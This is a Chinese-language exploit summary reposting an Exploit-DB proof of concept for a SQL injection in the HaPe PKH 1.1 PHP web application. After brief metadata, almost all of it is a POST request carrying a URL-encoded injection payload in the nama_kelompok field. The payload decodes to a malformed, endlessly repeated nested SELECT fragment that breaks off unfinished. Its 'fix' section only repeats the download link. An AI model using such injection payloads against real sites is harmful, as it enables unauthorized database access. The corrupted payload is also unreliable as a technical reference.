HaPe PKH 1.1 - 'id' SQL Injection 漏洞概述 EDB-ID: 45588 作者: Ihsan Sencan 类型: WEBAPPS 平台: PHP 日期: 2018-10-12 类别: Webapps 测试环境: WIN7 x64/KaliLinux x64 CVE: N/A 影响范围 软件链接: https://sourceforge.net/projects/hape-pkh/files/latest/download 版本: 1.1 测试平台: WIN7 x64/KaliLinux x64 修复方案 链接: https://sourceforge.net/projects/hape-pkh/files/latest/download POC代码 ```bash Exploit Title: HaPe PKH 1.1 - 'id' SQL Injection Dork: N/A Date: 2018-10-12 Exploit Author: Ihsan Sencan Vendor Homepage: http://www.sitejo.id Software Link: https://sourceforge.net/projects/hape-pkh/files/latest/download Version: 1.1 Category: Webapps Tested on: WIN7 x64/KaliLinux x64 CVE: N/A POC: 1) Everyone POST http://localhost/[PATH]/lap-anggota-kelompok.pdf.php HTTP/1.1 nama_kelompok=%27%20%41%4e%44%20%28%53%3c%45%4c%45%43%45%20%2a%20%46%52%4f%4d%20%28%53%3c%45%4c%45%43%45%20%2a%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53%3c%45%4c%45%20%28%53